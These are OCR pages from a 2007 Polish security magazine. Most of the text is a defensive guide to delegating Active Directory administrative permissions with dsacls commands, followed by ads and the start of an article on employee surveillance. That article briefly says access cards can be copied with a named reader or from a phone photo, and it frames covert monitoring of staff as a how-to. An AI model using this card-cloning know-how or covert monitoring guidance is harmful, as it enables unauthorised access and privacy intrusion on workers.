usług katalogowych, podczas gdy
administratorzy zarządzają kontami
użytkowników i serwerów oraz inny-
mi zasobami domenowymi.

Active Directory wspiera delego-

wanie uprawnień poprzez Organiza-

tional Unit (OU). OU może być czę-
sto dostosowywany tak, by zapew-
nić ten sam poziom autoryzacji, jaki
jest dostępny dla administratorów z
już istniejących katalogów usług lub
modeli domenowych. Ważne jednak
jest to, by rozumieć jak niektóre funk-
cje po prostu nie mogą być delego-
wane i muszą być zarządzane po-
przez pojedynczą zaufaną grupę lub
jednostkę.

Analiza zadań jest równie kry-

tyczna. Musisz wiedzieć, które za-
dania Active Directory są przepro-
wadzane przez administratorów i jak
te zadania mogą być korelowane do
konkretnych ról.

Dla przykładu tworzenie nowe-

go site Active Directory jest zada-
niem administracyjnym serwiso-
wo-usługowym, podczas gdy mo-
dyfikacje członkostwa w grupie
bezpieczeństwa to zadanie dla ad-
ministratora danych. Każde zada-
nie powinno być porównane pod
kątem częstotliwości, ważności i
trudności. Są to główne aspekty
określania zadań, kiedy uprawnie-
nia muszą być delegowane. Zada-
nia są wykonywane rutynowo, wią-
że się z nimi określone ryzyko oraz
są stosunkowo proste do wykona-
nia, a także wymarzone do zdele-
gowania. Z drugiej strony, zadania,
które są wykonywane rzadziej, ma-
ją większy wpływ w organizacji i
wymagają wyższych umiejętności.
Są w związku z tym trudniejszymi
kandydatami do oddelegowania.

Zamiast tego tymczasowe zwięk-

szanie uprawnień dla konta do wy-
maganego poziomu lub zmiana za-
dania jest właściwą ścieżką dla tych
zadań. Mimo że wiele dużych orga-
nizacji funkcjonuje na podobnych
podstawach, zawsze bezpieczniej
jest założyć, że model delegowania
uprawnień może być zaimplemen-
towany. Dla celów dydaktycznych

przedstawiony jest testowy zbiór
ról, które udostępniają możliwości
zarządzania. Granice oorganiza-
cyjne i sprawy związane ze zmianą
uprawnień (tj. dostępność zewnętrz-
na kontrolerów domeny) są zdefinio-
wane. Proszę mieć na uwadze, że
ten model to tylko przykład – jest on
jednak świetnym startem dla dysku-
sji w twej organizacji, ale nie powi-
nieneś planować, by użyć go jako
argument w dyskusji.

Niektóre role są od razu okre-

ślone przez Active Directory, a nie-
które muszą być stworzone z nicze-
go, by wyjść poza model delegowa-
nia. Przykład gotowy do zastoso-
wania dla wielu dużych środowisk
organizacji Active Directory może
zawierać Enterprise Admins, Domain

Admins, i administratorów usług,

Regional Admins i administratorów
zarządzających danych.

Administratorzy usług

Przyjrzyjmy się rolom administrato-
rów usług. Administratorzy usług za-
rządzają krytycznymi komponenta-
mi infrastruktury, a wszyscy admi-
nistratorzy którzy należą do tej gru-
py są wysoce uprzywilejowani. Dla-
tego też powinniśmy zaimplemen-
tować strategię o koniecznej ilości
uprawnień, taką która oznacza przy-
znawanie minimum uprawnień nie-
zbędnych do przeprowadzania okre-
ślonych zadań. Taka taktyka jest ści-
śle zalecana.

Grupy Enterprise i Domain

Admins w Active Directory definiu-
ją dwie grupy specjalnych admini-
stratorów, których uprawnienia są
wymagane w celu prawidłowego
funkcjonowania krytycznych funk-
cji AD. Te grupy są odpowiedzial-
ne za najwyższy poziom admini-
strowania usługami. By zminimali-
zować ryzyko dziedziczenia w ta-
kich wysoko uprzywilejowanych
grupach, zalecane jest ogranicza-
nie dostępu do tych grup. Grupa

Enterprise Admins nie powinna
mieć stałych członków, a grupa Do-
main Admins powinna zawierać je-
dynie małą, zarządzalną grupę za-
ufanych osób, które pracują dla or-
ganizacji na pełen etat.

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Gdy muszą być wykonane za-

dania administratorskie, takie jak
autoryzacja DHCP w Active Di-

rectory, członkowie grupy Domain

Admins w domenie nadrzędnej la-
su AD mogą otrzymać wymagane
uprawnienia poprzez ustanowienie
przynależności do grupy Enterpri-

se Admins. Takie uprawnienia po-
winny być przyznawane tylko na
krótkie okresy czasu, w celu unik-
nięcia tworzenia stałych członków
w grupie Enterprise Admins. Oczy-
wiście, wszyscy członkowie gru-
py Domain Admins w danym lesie

Active Directory powinni być oso-
bami, którym można zaufać w rów-
nym stopniu.

Typowym błędem, który po-

pełnia większość organizacji pod-
czas rozwoju modelu delegowa-
nia uprawnień jest blokowanie lub
zmniejszanie roli wbudowanych
grup czy innych komponentów. Po-
wszechne jest myślenie, że mody-
fikacja tych domyślnych ról może
mieć nieprzewidywalny skutek, nie
ma gwarancji, że sevice pack czy
aktualizacje oprogramowania przy-
wracają te ustawienia. Dodatko-
wo, ten typ modyfikacji tworzy nie-
wspierane środowisko poza orga-
nizacją. Praktyczny cel polega na
tym, by użyć wbudowane grupy i
role, ale ograniczyć członkostwo.
By to zrobić, prawdopodobnie mu-
siałbyś stworzyć nowe role dla ad-
ministratorów, którzy wcześniej
przynależeli do grup takich jak Do-

main Admins.

Administratorzy grupy powin-

ni składać się z administratorów
usług scentralizowanych, którzy
zapewniają wsparcie dla wszyst-
kich usług organizacji. Mimo, że
jest to stworzona rola, usługi ka-
talogowe i dostępy systemowe mo-
gą być dopasowane do specyficz-
nych wymagań twojej organizacji.
Podczas gdy członkowie tej grupy
są administratorami usług, mogą
również dokonywać okazjonalnie
innych, bardziej rozległych, zadań
zarządczych. Mamy więc różne ty-
py systemów i różne obszary odpo-
wiedzialności, role te są rozdzielo-
ne w różne podgrupy w ramach ka-
talogu. Na przykład, pojedyncze
grupy powinny być stworzone tak,
aby zapewnić dyskretne zarządza-
nie specyficznymi systemami, taki-
mi jak serwery Exchange. Ta grupa
także służy jako punkt eskalacji dla
administratorów danych.

Inne powszechne stanowisko

określa przynależność do grupy

Domain Admins z powodu przy-
znania uprawnień administrator-
skich na każdym systemie w da-
nej domenie. Cała sztuka polega
tu na zezwoleniu administratorom
usług na tylko wymagane upraw-
nienia, by kontrolować serwery
korporacyjne bez dodawania ich
do grupy Domain Admins. W ce-
lu ograniczenia rozprzestrzeniania
uprawnień, administratorzy ci po-
winni posiadać nadane uprawnie-
nia do wbudowanej grupy admini-
stratorów na kontrolerach domeny,

w związku z posiadaniem przez tą
grupę wielu podległych uprawnień
do katalogu usług, które nie mo-
gą być rozdzielone. Dla przykładu,
członek wbudowanej grupy admini-
stratorów wybranej domeny może
zarządzać członkostwem w grupie

Domain Admins, umożliwiając człon-
kom zmianę uprawnień bez dokony-
wania sprawdzenia.

Pamiętając o zasadzie nie prze-

kazywania domyślnych uprawnień,
ryzyko może być ominięte poprzez
stworzenie grupy zagnieżdżonej w
grupie Server Operators i wbudowa-
ny w grupę domenowy DNS Admins.
To umożliwi lokalne zarządzanie kon-
trolerami domeny limitując możli-
wość rozprzestrzeniania uprawnień.
Dla większości systemów (innych
niż kontrolery domen, np. Certificate

Servers) powinno się stworzyć gru-
pę w lokalnej grupie administratorów.
Automatyka zagnieżdżania lokalnych
członków grup może być osiągnięta
poprzez funkcjonalność Restricted

Groups w Group Policy.

Administratorzy danych

A teraz prześledźmy role admini-
stratorów danych. Ci powinni być
stworzeni ze skumulowanymi upraw-
nieniami, co oznacza, że jeden
administrator powinien mieć pełne
prawa do drugiego plus pewne do-
datkowe uprawnienia. Przyjrzymy
się takim potencjalnym grupom.

Grupa pierwsza administratorów

powinna zawierać ogólne zasady za-
rządzania wcześniej stworzonego ka-

Listing 1.

Zastosowanie komend do delegowania uprawnień

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;c;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;co;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;l;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;postalCode;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;postOfficeBox;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;st;user
dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:

RPWP;streetAddress;user

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_nazwa_dc>,dc=com /I:S /G <twoja_nazwa_dc>\<twoja_nazwa_dane_ou>:RPWP;telephoneNum

ber;user

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B i

B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKompute-

rowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu i

zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Prenumerata PRO

t d

fta

: 2

hakin9 Nr 5/2007

www.hakin9.org

Obrona

talogu obiektów. Ta grupa powinna
być przeznaczona dla wstępnie prze-
szkolonych administratorów lub dla
takich, którzy wykonują odizolowane
zadania, np. zmiana haseł. Nadaj tej
grupie we własnej OU uprawnienia
do modyfikacji właściwości kont użyt-
kowników, zmiany hasła, odblokowy-
wania kont, uaktywniania lub bloko-
wania kont, resetowania kont stacji
roboczych, modyfikowania członko-
stwa obiektów grupowych dla niead-
ministracyjnych grup.

Grupa druga powinna umożliwiać

trochę więcej funkcji, jak zarządzanie
tworzeniem obiektów, zezwalanie na
tworzenie obiektów, aby mogły być
zarządzane przez grupę pierwszą.
Członkowie tej grupy mogą dodawać
i modyfikować konta administracyjne
grupy pierwszej, a także zarządzać
kontami użytkowników. Mają możli-
wość usunięcia obiektów stacji robo-
czych, dodawania, modyfikowania,
usuwania obiektów Server, Contact
i Shared Folder.

Kolejna grupa to grupa Regional

Admins. Ta grupa wychodzi poza ob-
ręb własnej struktury Organizatio-

nal Unit. Nie może zarządzać inny-
mi strukturami regionalnymi OU. Kon-
to Regional Admin powinno być roz-
ważane jako wysoce uprzywilejowa-
ne. Konta Regional Admins przecho-
wywane są w oddzielnej hierarchii OU
i zarządzane przez administratorów
usług. Regional Admins mają dostęp
do tworzenia większości obiektów bez
restrykcji we własnej strukturze Orga-

nizational Unit, co stwarza pewne za-
grożenie, że tworzone obiekty mogą
nie być zarządzane przez administra-
torów o niższych uprawnieniach.

Wiele struktur organizacyjnych

posiada scentralizowany help desk.
Ta rola wypełnia listę administratorów
danych, zapewniając grupie admini-
stratorów danych nadrzędne prawa
nad Regional Admins. Prawa nie są
delegowane do tych grup, są tworzo-
ne jako zagnieżdżone członkostwo w
każdej grupie Regional Admins. Za-
pewnia to najwyższej jakości punkt
eskalacji dla wszystkich administrato-
rów danych, jak i służy jako punkt do-
stępu dla spraw do przekazania dalej
do grupy administratorów usług.

Model Organizational

Unit i Security Group

Gdy role są zdefiniowane, w organi-
zacji musimy stworzyć model Orga-

nizational Unit i Security Group. Dwa
główne czynniki decydują o budo-
wie OU w Active Directory. Po pierw-
sze delegowanie uprawnień, po dru-
gie tworzenie punktu, gdzie obiekty
Group Policy mogą być połączone.
Sposób, w jaki zdecydujesz się na
delegowanie uprawnień powinien być
głównym czynnikiem, decydującym
o tym, jak chcesz zaimplementować
twoją strukturę OU.

Mając to na uwadze, OU nad-

rzędne powinno być stworzone do-
kładnie pod domeną, tak aby zmie-
ścić wszystkie obiekty. Taki OU słu-
ży celom definiowania najwyższe-
go poziomu uprawnień ponad usłu-
gami katalogowymi, które mogą roz-
począć się na poziomie OU, a nie na
poziomie domenowym.

Poniżej najwyższego poziomu

OU powinien zostać stworzony od-
dzielny OU, by prezentować własny
region mający dyskretny zespół za-
rządzania danymi. Każdy regionalny
OU powinien mieć wspólną, nie
za dużą hierarchię do zarządzania
obiektami katalogowymi.

Unifikowanie jest krytyczne dla za-

rządzania bieżącego, w związku z au-
tomatyzowaniem delegowania upraw-
nień. To duże wyzwanie, zważywszy
na fakt, że każdy region może wyma-
gać unikalnych OU. Administratorzy IT
muszą trzymać się określonych za-
sad. Jeśli rozszerzenie jest wymaga-
ne dla jednego regionu, struktura OU
powinna być rozszerzona dla wszyst-
kich regionów. To może być na począt-
ku trudne, ale jeśli organizacja zapew-
nia podstawowe przechowywanie dla
obiektów, możliwe. Wreszcie, stwórz
oddzielne podgrupy administracyjne i
konta do usuwania możliwości admi-
nistracyjnych, by zwiększać ich przy-
wileje. Tworzenie kont w oddzielnych
OU zezwala ograniczać zarządza-
nie własnym poziomem lub niższym.
Dla przykładu, każdy członek gru-
py Domain Admins może stworzyć
dowolne konto dla użytkownika jako

Domain Admin. Przy zastosowaniu
naszego podziału kont na poddome-
ny ryzyko zmniejsza się.

Ustanawianie

drugorzędnych kont

Kluczem do prawidłowego modelu
delegowania uprawnień jest stwo-
rzenie zasady jak najmniej zbęd-
nych uprawnień. W praktyce ozna-
cza to, że tylko względy bezpieczeń-
stwa powinny być brane pod uwagę,
aby wykonać zadania określone dla
danej roli i nic więcej. Niestety wielu
administratorów sądzi, że do bieżą-
cych zadań oraz przeglądania zaso-
bów sieci czy czytania poczty, rów-
nież pomocne będą im uprawnienia
administratorskie.

Gdy mamy oddzielne konta mo-

żemy uniknąć przypadkowego ska-
sowania drzewa katalogowego przez
zmęczonego administratora lub za-
bezpieczyć się przed atakami, które
są powodowane przez aplikacje co-
dziennego użytku, ale takimi, które
celują w administratorów.

By to osiągnąć bez konieczno-

ści wylogowywania się użyj serwi-
su Secondary Logon (Runas.exe).
To zezwoli użytkownikowi zwiększyć
uprawnienia, zapewniając inny ze-
staw uprawnień, gdy są uruchamia-
ne skrypty lub pliki wykonywalne na
serwerach lub stacjach roboczych.

Mimo że koncepcja używania

kont o niższych uprawnieniach jest
prosta, organizacje często z nieuf-
nością do niej podchodzą. Wynika
to z przyzwyczajeń, które trudno się
zmienia. Wymuszenie użycia kont
o niższych uprawnieniach może być
wynikiem niedopuszczenia otrzymy-
wania bezpośrednich wiadomości
pocztowych na kontach o uprawnie-
niach wyższych. To jakże proste roz-
wiązanie w kolejny znaczący sposób
obniża używanie takich kont rutyno-
wo do zadań nieadministracyjnych.

Delegowanie uprawnień

Finalny krok wdrożenia modelu de-
legowania uprawnień to jego wdro-
żenie, czyli delegacja uprawnień
w Active Directory. W tym celu na-
leży skonfigurować dostęp do ac-
cess control entries (ACEs) oraz
access control lists (ACLs) dla danych
przechowywanych w ramach usług
katalogowych. ACLs w kontenerach

Active Directory definiują, które
obiekty mogą być tworzone i w jaki

Active Directory – delegowanie uprawnień

hakin9 Nr 5/2007

www.hakin9.org

sposób mają być zarządzane.
Delegowanie uwzględnia podsta-
wowe operacje na obiektach, m.in.
przeglądanie obiektów, tworzenie
obiektów z uprzednio predefiniowa-
nych, zmiana atrybutu czy bezpie-
czeństwo. Poza nimi AD definiuje

Extended Rights, które umożliwiają
na operacje, takie jak wyślij jako i za-
rządzaj topologią replikacji.

By zaimplementować model de-

legowania uprawnień grupy i pod-
grupy bezpieczeństwa, OU mu-
szą posiadać przypisane upraw-
nienia ponad obiektami w katalogu.
Nie chcemy przecież się uwstecz-
niać i nagle tworzyć wynalezione-
go raz koła. Przeciwnie, postaraj
się zmniejszyć uprawnienia wbu-
dowanym grupom gdzie możliwe.
Jeśli np.: określone wpisy DNS mu-
szą być dokonane, nie musisz dele-
gować uprawnień ponad kontenera-
mi i nazywać kontekstu powiązane-
go do zintegrowanych DNS w Active

Directory. Lepiej obniżyć grupę

BUILTIN\DNS Admins w domenie.
Dodatkowo, prawa użytkowników i
inne uprawnienia mogą być zwięk-
szone poprzez Group Policy w taki
sposób, aby zapewnić dodatkowe
uprawnienia wymagane do zarzą-
dzania określonymi klasami syste-
mów poprzez określoną rolę.

Podczas przypisywania upraw-

nień, używając delegowania upraw-
nień, powinno się limitować lub cał-
kowicie eliminować używanie Deny

ACEs. Mogą stać się one bowiem
kłopotliwe w razie wystąpienia błę-
dów. Lepszym rozwiązaniem jest
wyodrębnienie Allow ACEs w ce-
lu przyznania uprawnień do grup
przedefiniowanych prezentujących
twą rolę. Pamiętaj, że predefinio-

wane role będą mieć tylko wyłączne
prawa zdefiniowane przez te role.

Ważne jest dziedziczenie w AD.

Zawsze bądź dokładny w zakresie
dziedziczenia poprzez zapewnianie
dziedziczących ACEs, by były one
zastosowane możliwie blisko obiek-
tów celu.

Jest wiele narzędzi, których mo-

żesz użyć w celu prawidłowego usta-
lenia zasad modelu delegowania
uprawnień. Możesz korzystać z sza-
blonów i kreatorów (wizardy).

Podstawowe tekstowe narzędzie,

mogące posłużyć do manipulowania
usługami ACLs na obiekcie w katalo-
gu to DSACLS.EXE, Jeśli flaga dzie-
dziczenia będzie źle zdefiniowana
narzędzie nie zadziała prawidłowo.
Bardzo ważne jest testowanie na-
rzędzia, by stwierdzić ewentualne
nieprawidłowości.

Jeśli chcesz stworzyć obiekt typu

komputer w docelowym OU, zwróć
uwagę na to, że narzędzie jest case-
sensitive:

dsacls.exe ou=<twoja_nazwa_
ou>,dc=<twoja_nazwa_dc>,dc=com /I:T /G
<twoja_nazwa_dc>\dataadmin:CC;computer

Określony zbiór uprawnień jest wy-
magany dla tworzenia kilku obiektów.
Jest różnica pomiędzy atrybutami

obiektu: tymi co mogą wystąpić,
a tymi które są konieczne.
Dla obiektów użytkowników przykład
może wyglądać tak:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:T /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:CC;user

Administrator może spodziewać
się kilku błędów podczas tworze-
nia obiektów typu użytkownik. Mu-
simy nadać wymagane uprawnie-
nia, by ustawić wymagane atrybuty
dla obiektu użytkownika, włączając
zmianę hasła. Jest to spowodowane
w następującej dodatkowej składni

DSACLS. Na początku przyznajmy
uprawnienia do zapisu atrybutów ko-
niecznych, poprzez nadanie Generic

Read/Generic Write do wszystkich
atrybutów klasy użytkownika:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:GRGW;;user

Następnie, nadajmy rozszerzone
uprawnienia do zmiany hasła:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_
nazwa_dc>\<twoja_nazwa_dane_ou>:
CA;"Reset Password";user

O autorze:

Autor jest włascicielem i założycielem
IT Studio. Jest inż. informatykiem z
szerokim doświadczeniem w branży IT.
Zarządzał sieciami i telekomunikacją w
logistyce, bankach.
Kierował i uczestniczył w wielu wdroże-
niach oraz projektach informatycznych
pbaszkowski@it-studio.pl

Rysunek 1.

Active Directory Manager

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Na końcu, nadajmy uprawnienie do
właściwości czytania i zapisu atry-
butu Password Last:

dsacls ou=<twoja_nazwa_ou>,dc=<twoja_
nazwa_dc>,dc=com /I:S /G <twoja_nazwa_
dc>\<twoja_nazwa_dane_ou>:
RPWP;pwdLastSet;user

Gdy właściwe uprawnienia zosta-
ną zdelegowane, zdefiniowane role
będą ograniczone tylko do zarzą-
dzania obiektami zdefiniowanymi
w kontenerze DACL. Menu kontek-
stowe w Active Directory Users and

Computers ogranicza listę nowych
obiektów, jakie mogą zostać stwo-
rzone przez osobę z takimi wydele-
gowanymi uprawnieniami.

DSACLS może również słu-

żyć do zautomatyzowania złożone-
go zbioru uprawnień. Na Listingu 1
przykład zastosowania komend do
delegowania uprawnień, by usta-
wiać powszechne atrybuty ponad
obiektami użytkowników w danym
kontenerze:

Takie przykłady są powszechne

dla większości modeli delegowania
uprawnień i mogą być używane
w połączeniu z wcześniej zdefinio-
wanymi rolami.

Innym narzędziem jest DSREVO-

KE.EXE, zezwalające administrato-
rom lokalizować i usuwać zdelegowa-
ne uprawnienia dla specyficznych za-
sad bezpieczeństwa dla obiektów w
ramach katalogu. To narzędzie może
być użyteczne, jest ono specyficzne
dla zasad bezpieczeństwa i nie wpły-
wa na zagnieżdżone członkostwo we-
wnątrz grup bezpieczeństwa.

Poza tymi narzędziami, urucha-

mianymi z linii poleceń, wysoce
zalecane jest użycie User Rights

Assignment i Restricted Groups z

Group Policy. User Rights Assign-

ment umożliwia administratorom IT
rozszerzenie lub usunięcie niskich
uprawnień (zdalny dostęp, restart
systemu) dla różnych grup użyt-
kowników na specyficznych syste-
mach. Restricted Groups mogą być
użyte do określenia i lokalnych i do-
menowych członków grup w lesie.
W połączeniu, te narzędzia zapew-
niają wszystko, co niezbędne do
zautomatyzowania i zaimplemento-
wania modelu delegowania upraw-
nień Active Directory.

Podsumowanie

Tworzenie modelu delegowania upraw-
nień w AD może wydawać się skompli-

kowane, jednak tak nie jest. Wiele pro-
stych modeli można zastosować do in-
frastruktury IT. Najważniejszy krok to
zdefiniowanie jasnych ról. Należy limi-
tować role do małych, zarządzalnych
grup. Balansowanie jest trudne, zbyt
wiele zmian spowoduje stworzenie
ról nigdy nie wykorzystywanych, nato-
miast za mało nie zezwoli na właściwy
podział obowiązków.

Należy pamiętać podczas defi-

niowania zadań, by grupować je pod
względem częstotliwości, ważności
i trudności. Po jednokrotnym zdefi-
niowaniu zwróć uwagę na wdrożenie
zestawów przypadków, które pomo-
gą zidentyfikować, które role można,
a których nie należy zautomatyzo-
wać w procesie testowania. Dobrze
przygotowane pozwolą przekonać
osoby z zarządu do słusznej decyzji
oraz pomogą w ewentualnych pro-
blemach w przyszłości.

Na koniec, zawsze warto przygo-

tować praktyczny test, przed wdroże-
niem modelu delegowania uprawnień.
Pamiętaj, że ułatwienie równa się ja-
kości wspierania i stabilności modelu
delegowania. Taki model będzie peł-
nił kluczową rolę w kontroli uprawnień
administratorskich w środowisku two-
jego Active Directory. l

www.hakin9.org

hakin9 Nr 5/2007

Obrona

a rozległa problematyka dotyczy ludzi,
mienia, stref strategicznych dla firm,
wojska i rządu. Chociaż stosowana jest

na szeroką skalę, zapobiegawczo i nagmin-
nie, bez naszej wiedzy, to jak mówi definicja
dyskretnie. Istnieje także inwigilacja jawna, w
której osoba jest informowana o zamontowa-
nym monitoringu, niezależnie od wykorzysty-
wanych form: czy to jest monitoring, podgląd
urządzeń komputerowych, czy pomieszczeń
przez kamery przemysłowe, chociaż nie są to
jedyne formy inwigilacji.

Inwigilacje można podzielić ze względu na

wybrany system na:

• kamery przemysłowe (DVR),
• systemy dostępu, czytnika kart chipowych,

czytniki linii papilarnych, czytniki tęczówki
oka,

• systemy komputerowe – stanowisko pracy.

Kamery przemysłowe

Jest to system monitoringu obrazowego; mo-
że opierać się o urządzenie zgrywające ob-
raz lub komputer, w którym zamontowana jest
karta DVR. System taki ma przede wszystkim
charakter dozoru. W przypadku korzystania z

tego rozwiązania należy wybrać miejsca, któ-
rych nie można ominąć, takich jak: korytarz w
firmie, krawędzie budynku, wejścia. Przed in-
stalacją takiego systemu należy dokładnie za-
planować rozmieszczenie kamer, następnie
dobrać ich parametry do konkretnego miej-
sca, wybrać rodzaj systemu oraz rodzaj ka-
mer. Na rynku jest bardzo dużo gotowych ze-
stawów, kamera/y + system zgrywający. Nie
jest to jednak rozwiązanie najlepsze, gdyż in-
ną kamerę zamontujemy na korytarzu, a inną
na podwórku – jeśli nie wiemy więc na co się
zdecydować, zalecam konsultację z fachową
obsługą. Sam montaż takich urządzeń nie jest
trudny, jednak trzeba pamiętać o odpowied-

Okiem wielkiego brata

– inwigilacja pracowników

w firmie

Rafał Podsiadły

stopień trudności

Inwigilacja to dyskretne obserwowanie osób albo miejsc

przez system monitoringu cyfrowego, system kontroli wejścia

i wyjścia, a także przez prywatnych detektywów, policję. Pojęcie

to rozszerza jeszcze informatyka o zdalną kontrolę systemów

informatycznych.

Z artykułu dowiesz się

• jak rozpoznać inwigilowany komputer,
• jak prowadzić inwigilacje,
• jak się zabezpieczyć.

Co powinieneś wiedzieć

• wiedzieć co to DVR,
• orientować się w zdalnej administracji.

Okiem wielkiego brata

hakin9 Nr 5/2007

www.hakin9.org

nim ukryciu i umiejscowieniu kame-
ry w odpowiednim miejscu, tak, aby
złodziej nie mógł jej zniszczyć albo
przynajmniej utrudnić mu takie dzia-
łania, np: uchwycić jego sylwetkę
przed zniszczeniem kamery.

Oczywiście, taki system może

być zaawansowany, zawierać w so-
bie wiele kamer i urządzeń wspoma-
gających, jak chociażby czujniki ru-
chu. Jednak docelowe zadanie tego
systemu jest typowo defensywne,
nie zabezpieczy on stanowiska pra-
cy, może jedynie nadzorować prace
osób siedzących przy danym stano-
wisku. Uruchamiając system profe-
sjonalnego monitoringu dobrze jest
oprzeć go o dobrej jakości komputer
i solidną kartę DVR. Najnowsze kar-
ty umożliwiają wybór kodowania ob-
razu i dźwięku, jeśli istnieje taka po-
trzeba. Można także zarządzać ka-
merą włączając nagrywanie w przy-
padku pojawienia się ruchu, a wy-
łączając w razie jego braku. Moż-
na ustawić podgląd z kamery w taki
sposób, aby reagował na ruch w da-
nym miejscu, a omijał na przykład
poruszane przez wiatr drzewa. Do-
datkową opcją, już teraz spotyka-
ną w kartach DVR, jest automatycz-
ne wywoływanie alarmów, gdy na
kamerze pojawi się ruch w godzi-
nach zastrzeżonych. Można zdefi-
niować określoną akcję, taką jak te-

lefon na Policję i odegrać komunikat
z wcześniej nagranego pliku. W za-
leżności od programu obsługujące-
go kartę, występują także opcje wy-
syłania powiadomienia na mail ze
zdjęciem z zaalarmowanej kamery,
a nawet powiadomienie przez sms.
Wszystko zależy od tego, ile gotów-
ki chcemy i możemy poświęcić na
taki system.

Alarmy

Alarmy są najprostszym rozwiąza-
niem – składają się one z centrali
programowanej wewnętrznie przez
komputer lub moduł kontrolny. Do
takiego systemu dołączona jest
czujka ruchu. Podczas wystąpie-
nia zdarzenia taka czujka załącza
alarm, czasem jest to sygnał świetl-
ny, a czasem dźwiękowy. Często
zdarza się sytuacja, kiedy napast-
nik próbuje wyłączyć alarm, znisz-
czyć czujkę, dlatego osoba montu-
jąca taki system powinna zwrócić
na to uwagę.

Systemy dostępu

Systemy dostępu są to wszelkie-
go rodzaju czytniki linii papilar-
nych, wbijanych kodów, kart ma-
gnetycznych, czytniki tęczówki oka.
Ich schemat pracy jest podobny,
gdyż odwołują się do wzorca, któ-
ry jest gdzieś zapisany. Każdy z

tych systemów ma swoje plusy i mi-
nusy. Czytniki kart chipowych moż-
na łatwo podrobić, wystarczy zdo-
być kartę z odpowiednimi upraw-
nieniami na kilka sekund i odczytać
jej zawartość lub skopiować na dysk
komputera (za pomocą SmarTach

D-Box v.USB lub RS232 – prostych
kart chipowych). Jest to dość nie-
bezpieczne, gdyż nasze karty ban-
komatowe są oparte na technologii
chipowej. Jednakże zabezpieczenia
kart chipowych do bankomatu cały
czas się rozwijają, wraz z duchem
czasu idą też crakerzy i wzrasta po-
ziom edukacji społeczeństwa. We-
dług specjalistów każda karta jest
do podrobienia, niezależnie od za-
stosowanych w niej zabezpieczeń.
Jednak w Polsce karta kredytowa
nie jest tak bardzo powszechna, w
związku z tym odnotowujemy ma-
łą liczbę przestępstw na tym polu.
W przypadku kart bezdotykowych
z kodami kreskowymi, wykonanie
nieautoryzowanej kopii jest łatwiej-
sze, gdyż wystarczy dobrej jakości
zdjęcie karty, jakie można wykonać
nawet za pomocą dzisiejszych tele-
fonów komórkowych.

System biometryczny

Podobnie jak w poprzednich przypad-
kach, system biometryczny wykorzy-
stywany jest do kontrolowania dostę-
pu, analogicznie korzysta on ze wzor-
ca, zmienia się tylko technika, jaką po-
sługuje się ów system. Jest on o wie-
le bardziej zaawansowany – składa się
z kamer, czytników dotykowych i ska-
nerów siatkówki, linii papilarnych. Naj-
nowsze laptopy przeznaczone dla biz-
nesu mają wbudowane czytniki linii
papilarnych Toshiba Tecra M5. Jest
to funkcja pozwalająca na zabezpie-

Rysunek 1.

Prosty system monitoringu przemysłowego

Monitor

synchronizacja

zmieniacz

CSW

Rysunek 2.

Czytnik kart

hakin9 Nr 5/2007

www.hakin9.org

Obrona

czenie komputera przed ewentualna
kradzieżą. Zabezpieczenie takie mo-
że być uruchomione nawet w trybie
uśpienia komputera, gdy odpowiednio
skonfigurujemy BIOS. Podobny nieza-
leżny czytnik można zamontować w
komputerze stacjonarnym SX-Logon,
który pozwoli nam wyeliminować lo-
gowanie do systemu. Program te-
go urządzenia musi być zainstalowa-
ny na koncie administratora, jednym z
wymagań poprawnej pracy jest zapro-
gramowanie dwóch palców jako ko-
du dostępu, w przypadku gdyby je-
den palec uległ uszkodzeniu. System
biometryczny upraszcza wpisywanie
kodu bezpieczeństwa, tym samym

spada zagrożenie zapomnienia, elimi-
nuje jego zagubienie, lub przypadko-
we przekazanie informacji osobie nie-
powołanej, ponieważ wzorcem tego
sytemu jest człowiek, jego głos, cześć
ciała, zachowanie.

System kontroli czasu

pracy pomieszczeń

Do tych elementów dołączamy sys-
tem kontroli czasu pracy i w efekcie
uzyskujemy dane kto i gdzie przesia-

